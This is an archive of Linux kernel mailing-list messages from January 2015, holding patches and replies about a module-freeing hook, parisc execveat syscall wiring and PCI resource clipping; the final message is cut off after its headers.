Subject: [PATCH 1/3] module_arch_freeing_init(): new hook for archs before module->module_init freed.
Date: Thu,  8 Jan 2015 11:28:05 +1030
Lines: 198
Approved: news@gmane.org
Message-ID: <1420678687-30548-2-git-send-email-rusty@rustcorp.com.au>
References: <1420678687-30548-1-git-send-email-rusty@rustcorp.com.au>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1420679010 21024 80.91.229.3 (8 Jan 2015 01:03:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 8 Jan 2015 01:03:30 +0000 (UTC)
Cc: Rusty Russell <rusty@rustcorp.com.au>,
	Chris Metcalf <cmetcalf@ezchip.com>,
	Haavard Skinnemoen <hskinnemoen@gmail.com>,
	Hans-Christian Egtvedt <egtvedt@samfundet.no>,
	Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-s390@vger.kernel.org
To: linux-kernel@vger.kernel.org
Original-X-From: linux-ia64-owner@vger.kernel.org Thu Jan 08 02:03:24 2015
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1Y91Ue-0000Q3-Ra
	for glpi-linux-ia64-2@plane.gmane.org; Thu, 08 Jan 2015 02:02:33 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754408AbbAHBCc (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
	Wed, 7 Jan 2015 20:02:32 -0500
Original-Received: from ozlabs.org ([103.22.144.67]:60091 "EHLO ozlabs.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755383AbbAHBBj (ORCPT <rfc822;linux-ia64@vger.kernel.org>);
	Wed, 7 Jan 2015 20:01:39 -0500
Original-Received: by ozlabs.org (Postfix, from userid 1011)
	id DF83E140077; Thu,  8 Jan 2015 12:01:37 +1100 (AEDT)
X-Mailer: git-send-email 2.1.0
In-Reply-To: <1420678687-30548-1-git-send-email-rusty@rustcorp.com.au>
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:24861 gmane.linux.kernel:1861272 gmane.linux.ports.parisc:25543
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/24861>

Archs have been abusing module_free() to clean up their arch-specific
allocations.  Since module_free() is also (ab)used by BPF and trace code,
let's keep it to simple allocations, and provide a hook called before
that.

This means that avr32, ia64, parisc and s390 no longer need to implement
their own module_free() at all.  avr32 doesn't need module_finalize()
either.

Signed-off-by: Rusty Russell <rusty@rustcorp.com.au>
Cc: Chris Metcalf <cmetcalf@ezchip.com>
Cc: Haavard Skinnemoen <hskinnemoen@gmail.com>
Cc: Hans-Christian Egtvedt <egtvedt@samfundet.no>
Cc: Tony Luck <tony.luck@intel.com>
Cc: Fenghua Yu <fenghua.yu@intel.com>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: Martin Schwidefsky <schwidefsky@de.ibm.com>
Cc: Heiko Carstens <heiko.carstens@de.ibm.com>
Cc: linux-kernel@vger.kernel.org
Cc: linux-ia64@vger.kernel.org
Cc: linux-parisc@vger.kernel.org
Cc: linux-s390@vger.kernel.org
---
 arch/avr32/kernel/module.c   | 13 +------------
 arch/ia64/kernel/module.c    |  6 ++----
 arch/parisc/kernel/module.c  |  6 +-----
 arch/s390/kernel/module.c    | 10 +++-------
 arch/tile/kernel/module.c    |  2 +-
 include/linux/moduleloader.h |  2 ++
 kernel/module.c              |  7 +++++++
 7 files changed, 17 insertions(+), 29 deletions(-)

diff --git a/arch/avr32/kernel/module.c b/arch/avr32/kernel/module.c
index 2c9412908024..164efa009e5b 100644
--- a/arch/avr32/kernel/module.c
+++ b/arch/avr32/kernel/module.c
@@ -19,12 +19,10 @@
 #include <linux/moduleloader.h>
 #include <linux/vmalloc.h>
 
-void module_free(struct module *mod, void *module_region)
+void module_arch_freeing_init(struct module *mod)
 {
 	vfree(mod->arch.syminfo);
 	mod->arch.syminfo = NULL;
-
-	vfree(module_region);
 }
 
 static inline int check_rela(Elf32_Rela *rela, struct module *module,
@@ -291,12 +289,3 @@ int apply_relocate_add(Elf32_Shdr *sechdrs, const char *strtab,
 
 	return ret;
 }
-
-int module_finalize(const Elf_Ehdr *hdr, const Elf_Shdr *sechdrs,
-		    struct module *module)
-{
-	vfree(module->arch.syminfo);
-	module->arch.syminfo = NULL;
-
-	return 0;
-}
diff --git a/arch/ia64/kernel/module.c b/arch/ia64/kernel/module.c
index 24603be24c14..29754aae5177 100644
--- a/arch/ia64/kernel/module.c
+++ b/arch/ia64/kernel/module.c
@@ -305,14 +305,12 @@ plt_target (struct plt_entry *plt)
 #endif /* !USE_BRL */
 
 void
-module_free (struct module *mod, void *module_region)
+module_arch_freeing_init (struct module *mod)
 {
-	if (mod && mod->arch.init_unw_table &&
-	    module_region == mod->module_init) {
+	if (mod->arch.init_unw_table) {
 		unw_remove_unwind_table(mod->arch.init_unw_table);
 		mod->arch.init_unw_table = NULL;
 	}
-	vfree(module_region);
 }
 
 /* Have we already seen one of these relocations? */
diff --git a/arch/parisc/kernel/module.c b/arch/parisc/kernel/module.c
index 50dfafc3f2c1..5822e8e200e6 100644
--- a/arch/parisc/kernel/module.c
+++ b/arch/parisc/kernel/module.c
@@ -298,14 +298,10 @@ static inline unsigned long count_stubs(const Elf_Rela *rela, unsigned long n)
 }
 #endif
 
-
-/* Free memory returned from module_alloc */
-void module_free(struct module *mod, void *module_region)
+void module_arch_freeing_init(struct module *mod)
 {
 	kfree(mod->arch.section);
 	mod->arch.section = NULL;
-
-	vfree(module_region);
 }
 
 /* Additional bytes needed in front of individual sections */
diff --git a/arch/s390/kernel/module.c b/arch/s390/kernel/module.c
index b89b59158b95..409d152585be 100644
--- a/arch/s390/kernel/module.c
+++ b/arch/s390/kernel/module.c
@@ -55,14 +55,10 @@ void *module_alloc(unsigned long size)
 }
 #endif
 
-/* Free memory returned from module_alloc */
-void module_free(struct module *mod, void *module_region)
+void module_arch_freeing_init(struct module *mod)
 {
-	if (mod) {
-		vfree(mod->arch.syminfo);
-		mod->arch.syminfo = NULL;
-	}
-	vfree(module_region);
+	vfree(mod->arch.syminfo);
+	mod->arch.syminfo = NULL;
 }
 
 static void check_rela(Elf_Rela *rela, struct module *me)
diff --git a/arch/tile/kernel/module.c b/arch/tile/kernel/module.c
index 96447c9160a0..62a597e810d6 100644
--- a/arch/tile/kernel/module.c
+++ b/arch/tile/kernel/module.c
@@ -83,7 +83,7 @@ void module_free(struct module *mod, void *module_region)
 		     0, 0, 0, NULL, NULL, 0);
 
 	/*
-	 * FIXME: If module_region == mod->module_init, trim exception
+	 * FIXME: Add module_arch_freeing_init to trim exception
 	 * table entries.
 	 */
 }
diff --git a/include/linux/moduleloader.h b/include/linux/moduleloader.h
index 7eeb9bbfb816..054eac853090 100644
--- a/include/linux/moduleloader.h
+++ b/include/linux/moduleloader.h
@@ -82,4 +82,6 @@ int module_finalize(const Elf_Ehdr *hdr,
 /* Any cleanup needed when module leaves. */
 void module_arch_cleanup(struct module *mod);
 
+/* Any cleanup before freeing mod->module_init */
+void module_arch_freeing_init(struct module *mod);
 #endif
diff --git a/kernel/module.c b/kernel/module.c
index 3965511ae133..68be0b1f9e7f 100644
--- a/kernel/module.c
+++ b/kernel/module.c
@@ -1804,6 +1804,10 @@ void __weak module_arch_cleanup(struct module *mod)
 {
 }
 
+void __weak module_arch_freeing_init(struct module *mod)
+{
+}
+
 /* Free a module, remove from lists, etc. */
 static void free_module(struct module *mod)
 {
@@ -1841,6 +1845,7 @@ static void free_module(struct module *mod)
 
 	/* This may be NULL, but that's OK */
 	unset_module_init_ro_nx(mod);
+	module_arch_freeing_init(mod);
 	module_free(mod, mod->module_init);
 	kfree(mod->args);
 	percpu_modfree(mod);
@@ -2930,6 +2935,7 @@ static struct module *layout_and_allocate(struct load_info *info, int flags)
 static void module_deallocate(struct module *mod, struct load_info *info)
 {
 	percpu_modfree(mod);
+	module_arch_freeing_init(mod);
 	module_free(mod, mod->module_init);
 	module_free(mod, mod->module_core);
 }
@@ -3055,6 +3061,7 @@ static int do_init_module(struct module *mod)
 	mod->strtab = mod->core_strtab;
 #endif
 	unset_module_init_ro_nx(mod);
+	module_arch_freeing_init(mod);
 	module_free(mod, mod->module_init);
 	mod->module_init = NULL;
 	mod->init_size = 0;
-- 
2.1.0

--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hans-Christian Egtvedt <egtvedt@samfundet.no>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ia64
Subject: Re: [PATCH 1/3] module_arch_freeing_init(): new hook for archs
 before module->module_init freed.
Date: Thu, 8 Jan 2015 08:55:24 +0100
Lines: 48
Approved: news@gmane.org
Message-ID: <20150108075524.GA24522@samfundet.no>
References: <1420678687-30548-1-git-send-email-rusty@rustcorp.com.au>
 <1420678687-30548-2-git-send-email-rusty@rustcorp.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1420703809 12038 80.91.229.3 (8 Jan 2015 07:56:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 8 Jan 2015 07:56:49 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, Chris Metcalf <cmetcalf@ezchip.com>,
	Haavard Skinnemoen <hskinnemoen@gmail.com>,
	Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-s390@vger.kernel.org
To: Rusty Russell <rusty@rustcorp.com.au>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jan 08 08:56:42 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Y97wW-0007vs-6k
	for glpp-linux-parisc@plane.gmane.org; Thu, 08 Jan 2015 08:55:44 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753357AbbAHHzn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 8 Jan 2015 02:55:43 -0500
Original-Received: from cassarossa.samfundet.no ([193.35.52.29]:45774 "EHLO
	cassarossa.samfundet.no" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751298AbbAHHzm (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 8 Jan 2015 02:55:42 -0500
Original-Received: from egtvedt by cassarossa.samfundet.no with local (Exim 4.80)
	(envelope-from <egtvedt@samfundet.no>)
	id 1Y97wC-00070K-JJ; Thu, 08 Jan 2015 08:55:24 +0100
Content-Disposition: inline
In-Reply-To: <1420678687-30548-2-git-send-email-rusty@rustcorp.com.au>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25544 gmane.linux.kernel:1861395 gmane.linux.ports.ia64:24863
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25544>

Around Thu 08 Jan 2015 11:28:05 +1030 or thereabout, Rusty Russell wrote:
> Archs have been abusing module_free() to clean up their arch-specific
> allocations.  Since module_free() is also (ab)used by BPF and trace code,
> let's keep it to simple allocations, and provide a hook called before
> that.
> 
> This means that avr32, ia64, parisc and s390 no longer need to implement
> their own module_free() at all.  avr32 doesn't need module_finalize()
> either.

At a glance it looks sane.

> Signed-off-by: Rusty Russell <rusty@rustcorp.com.au>
> Cc: Chris Metcalf <cmetcalf@ezchip.com>
> Cc: Haavard Skinnemoen <hskinnemoen@gmail.com>
> Cc: Hans-Christian Egtvedt <egtvedt@samfundet.no>
> Cc: Tony Luck <tony.luck@intel.com>
> Cc: Fenghua Yu <fenghua.yu@intel.com>
> Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
> Cc: Helge Deller <deller@gmx.de>
> Cc: Martin Schwidefsky <schwidefsky@de.ibm.com>
> Cc: Heiko Carstens <heiko.carstens@de.ibm.com>
> Cc: linux-kernel@vger.kernel.org
> Cc: linux-ia64@vger.kernel.org
> Cc: linux-parisc@vger.kernel.org
> Cc: linux-s390@vger.kernel.org

Acked-by: Hans-Christian Egtvedt <egtvedt@samfundet.no>

> ---
>  arch/avr32/kernel/module.c   | 13 +------------
>  arch/ia64/kernel/module.c    |  6 ++----
>  arch/parisc/kernel/module.c  |  6 +-----
>  arch/s390/kernel/module.c    | 10 +++-------
>  arch/tile/kernel/module.c    |  2 +-
>  include/linux/moduleloader.h |  2 ++
>  kernel/module.c              |  7 +++++++
>  7 files changed, 17 insertions(+), 29 deletions(-)

<snipp diff>

-- 
HcE
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michal Marek <mmarek@suse.cz>
Newsgroups: gmane.linux.documentation,gmane.linux.kbuild.devel,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 0/6] kbuild: refactor Makefiles related with cc-version
Date: Fri, 09 Jan 2015 17:27:33 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <54B00175.4050702@suse.cz>
References: <1419485488-22336-1-git-send-email-yamada.m@jp.panasonic.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1420820905 9038 80.91.229.3 (9 Jan 2015 16:28:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 9 Jan 2015 16:28:25 +0000 (UTC)
Cc: Peter Oberparleiter <oberpar@linux.vnet.ibm.com>, x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	"H. Peter Anvin" <hpa@linux.intel.com>, linux-doc@vger.kernel.org,
	Jonathan Corbet <corbet@lwn.net>,
	Robert Richter <rrichter@cavium.com>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	linux-kernel@vger.kernel.org, Thomas Gleixner <tglx@linutronix.de>,
	Andi Kleen <ak@linux.intel.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Paul Mackerras <paulus@samba.org>,
	Ingo Molnar <mingo@redhat.com>, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org
To: Masahiro Yamada <yamada.m@jp.panasonic.com>,
	linux-kbuild@vger.kernel.org
Original-X-From: linux-doc-owner@vger.kernel.org Fri Jan 09 17:28:17 2015
Return-path: <linux-doc-owner@vger.kernel.org>
Envelope-to: lnx-linux-doc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-doc-owner@vger.kernel.org>)
	id 1Y9cPq-0003X3-C9
	for lnx-linux-doc@plane.gmane.org; Fri, 09 Jan 2015 17:28:02 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754198AbbAIQ1m (ORCPT <rfc822;lnx-linux-doc@m.gmane.org>);
	Fri, 9 Jan 2015 11:27:42 -0500
Original-Received: from cantor2.suse.de ([195.135.220.15]:39373 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752077AbbAIQ1l (ORCPT <rfc822;linux-doc@vger.kernel.org>);
	Fri, 9 Jan 2015 11:27:41 -0500
Original-Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.220.254])
	by mx2.suse.de (Postfix) with ESMTP id 80833AD94;
	Fri,  9 Jan 2015 16:27:36 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.3.0
In-Reply-To: <1419485488-22336-1-git-send-email-yamada.m@jp.panasonic.com>
Original-Sender: linux-doc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-doc.vger.kernel.org>
X-Mailing-List: linux-doc@vger.kernel.org
Xref: news.gmane.org gmane.linux.documentation:29004 gmane.linux.kbuild.devel:12730 gmane.linux.kernel:1862555 gmane.linux.ports.parisc:25545 gmane.linux.ports.ppc64.devel:108063
Archived-At: <http://permalink.gmane.org/gmane.linux.documentation/29004>

On 2014-12-25 06:31, Masahiro Yamada wrote:
> Masahiro Yamada (6):
>   kbuild: fix cc-ifversion macro
>   kbuild: do not add $(call ...) to invoke cc-version or cc-fullversion
>   kbuild,gcov: remove unnecessary workaround
>   kbuild,gcov: simplify kernel/gcov/Makefile
>   kbuild: allow cc-ifversion to have the argument for false condition
>   kbuild,gcov: simplify kernel/gcov/Makefile more

Applied to kbuild.git#kbuild, thanks.

Michal

--
To unsubscribe from this list: send the line "unsubscribe linux-doc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Wire up execveat syscall
Date: Sat, 10 Jan 2015 22:01:21 +0100
Lines: 34
Approved: news@gmane.org
Message-ID: <20150110210121.GA15738@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1420923698 28382 80.91.229.3 (10 Jan 2015 21:01:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 10 Jan 2015 21:01:38 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jan 10 22:01:31 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YA3A2-0003Zx-HZ
	for glpp-linux-parisc@plane.gmane.org; Sat, 10 Jan 2015 22:01:30 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751832AbbAJVB3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 10 Jan 2015 16:01:29 -0500
Original-Received: from mout.gmx.net ([212.227.15.15]:63053 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752476AbbAJVB3 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 10 Jan 2015 16:01:29 -0500
Original-Received: from ls3530.box ([84.173.5.181]) by mail.gmx.com (mrgmx001) with
 ESMTPSA (Nemesis) id 0Lk8CY-1XdTIX0kFm-00cCA7; Sat, 10 Jan 2015 22:01:23
 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:Dh/WAQOYOujeKnie4QCRXel07LwcHZSRwrAOt3qPt0A5XS+C7W8
 WUezsCMFpsn0sNjAIGoda2jQ8iPq4TzYCv8ZAYGdvcxg4pTsPDGKdq4ZKqMNYvS7AJ7mymX
 VcqrjPIPW8S7cOkGK8mH2Ep1p80Uv49CNmW45BKdBbivBNfEGdacrauVXXNvJ3XzbepZSlM
 ZfB5Ec48lpaTB/iytOh/w==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25546
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25546>

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/uapi/asm/unistd.h b/arch/parisc/include/uapi/asm/unistd.h
index 5f5c037..abfa745 100644
--- a/arch/parisc/include/uapi/asm/unistd.h
+++ b/arch/parisc/include/uapi/asm/unistd.h
@@ -834,8 +834,9 @@
 #define __NR_getrandom		(__NR_Linux + 339)
 #define __NR_memfd_create	(__NR_Linux + 340)
 #define __NR_bpf		(__NR_Linux + 341)
+#define __NR_execveat		(__NR_Linux + 342)
 
-#define __NR_Linux_syscalls	(__NR_bpf + 1)
+#define __NR_Linux_syscalls	(__NR_execveat + 1)
 
 
 #define __IGNORE_select		/* newselect */
diff --git a/arch/parisc/kernel/syscall_table.S b/arch/parisc/kernel/syscall_table.S
index fe4f0b8..5a8997d 100644
--- a/arch/parisc/kernel/syscall_table.S
+++ b/arch/parisc/kernel/syscall_table.S
@@ -437,6 +437,7 @@
 	ENTRY_SAME(getrandom)
 	ENTRY_SAME(memfd_create)	/* 340 */
 	ENTRY_SAME(bpf)
+	ENTRY_COMP(execveat)
 
 	/* Nothing yet */
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Yinghai Lu <yinghai@kernel.org>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.pci,gmane.linux.ports.parisc
Subject: [PATCH 08/10] PCI, parisc: clip firmware assigned resource under parent bridge's
Date: Mon, 12 Jan 2015 11:23:18 -0800
Lines: 67
Approved: news@gmane.org
Message-ID: <1421090600-9750-9-git-send-email-yinghai@kernel.org>
References: <1421090600-9750-1-git-send-email-yinghai@kernel.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1421090859 954 80.91.229.3 (12 Jan 2015 19:27:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 12 Jan 2015 19:27:39 +0000 (UTC)
Cc: linux-pci@vger.kernel.org, linux-kernel@vger.kernel.org,
	Yinghai Lu <yinghai@kernel.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: Bjorn Helgaas <bhelgaas@google.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Jan 12 20:27:33 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1YAkeC-0007O1-E1
	for glk-linux-kernel-3@plane.gmane.org; Mon, 12 Jan 2015 20:27:32 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757157AbbALT11 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Mon, 12 Jan 2015 14:27:27 -0500
Original-Received: from aserp1040.oracle.com ([141.146.126.69]:46391 "EHLO
	aserp1040.oracle.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755863AbbALTZA (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Mon, 12 Jan 2015 14:25:00 -0500
Original-Received: from acsinet22.oracle.com (acsinet22.oracle.com [141.146.126.238])
	by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t0CJOoKW030365
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Mon, 12 Jan 2015 19:24:51 GMT
Original-Received: from userz7021.oracle.com (userz7021.oracle.com [156.151.31.85])
	by acsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id t0CJOnEh009652
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL);
	Mon, 12 Jan 2015 19:24:50 GMT
Original-Received: from abhmp0003.oracle.com (abhmp0003.oracle.com [141.146.116.9])
	by userz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id t0CJOmlF027322;
	Mon, 12 Jan 2015 19:24:48 GMT
Original-Received: from linux-siqj.site (/10.132.126.81)
	by default (Oracle Beehive Gateway v4.0)
	with ESMTP ; Mon, 12 Jan 2015 11:24:48 -0800
X-Mailer: git-send-email 1.8.4.5
In-Reply-To: <1421090600-9750-1-git-send-email-yinghai@kernel.org>
X-Source-IP: acsinet22.oracle.com [141.146.126.238]
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1864423 gmane.linux.kernel.pci:38360 gmane.linux.ports.parisc:25547
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1864423>

Some bios put range that is not fully coverred by root bus resources.
Try to clip them and update them in pci bridge bars.

We'd like to fix other arches instead of just x86.

Link: https://bugzilla.kernel.org/show_bug.cgi?id=85491
Reported-by: Marek Kordik <kordikmarek@gmail.com>
Fixes: 5b28541552ef ("PCI: Restrict 64-bit prefetchable bridge windows to 64-bit resources")
Signed-off-by: Yinghai Lu <yinghai@kernel.org>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: linux-parisc@vger.kernel.org
---
 drivers/parisc/lba_pci.c | 26 ++++++++++++++++++++++++--
 1 file changed, 24 insertions(+), 2 deletions(-)

diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index 37e71ff..e6ab352 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -692,11 +692,25 @@ lba_fixup_bus(struct pci_bus *bus)
 	*/
 	if (bus->parent) {
 		int i;
+		bool changed = false;
+
+		dev = bus->self;
 		/* PCI-PCI Bridge */
 		pci_read_bridge_bases(bus);
 		for (i = PCI_BRIDGE_RESOURCES; i < PCI_NUM_RESOURCES; i++) {
-			pci_claim_resource(bus->self, i);
+			struct resource *res = &dev->resource[i];
+
+			if (pci_claim_resource(dev, i) >= 0)
+				continue;
+
+			if (pci_bus_clip_resource(dev, res)) {
+				changed = true;
+				if (pci_claim_resource(dev, i) >= 0)
+					continue;
+			}
 		}
+		if (changed)
+			pci_setup_bridge(bus);
 	} else {
 		/* Host-PCI Bridge */
 		int err;
@@ -776,7 +790,15 @@ lba_fixup_bus(struct pci_bus *bus)
 			** that share expansion ROMs (think quad tulip), but
 			** isn't harmful.
 			*/
-			pci_claim_resource(dev, i);
+			if (pci_claim_resource(dev, i) >= 0)
+				continue;
+
+			/* try again with clip */
+			if (i != PCI_ROM_RESOURCE &&
+			    pci_bus_clip_resource(dev, res)) {
+				pci_update_resource(dev, i);
+				pci_claim_resource(dev, i);
+			}
 		}
 
 #ifdef FBB_SUPPORT
-- 
1.8.4.5


From - Thu Nov 08 21:37:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.pci,gmane.linux.kernel
Subject: Re: [PATCH 08/10] PCI, parisc: clip firmware assigned resource under
 parent bridge's
Date: Tue, 13 Jan 2015 22:01:14 +0100
Lines: 81
Approved: news@gmane.org
Message-ID: <54B5879A.9020902@gmx.de>
References: <1421090600-9750-1-git-send-email-yinghai@kernel.org> <1421090600-9750-9-git-send-email-yinghai@kernel.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1421182889 26562 80.91.229.3 (13 Jan 2015 21:01:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 13 Jan 2015 21:01:29 +0000 (UTC)
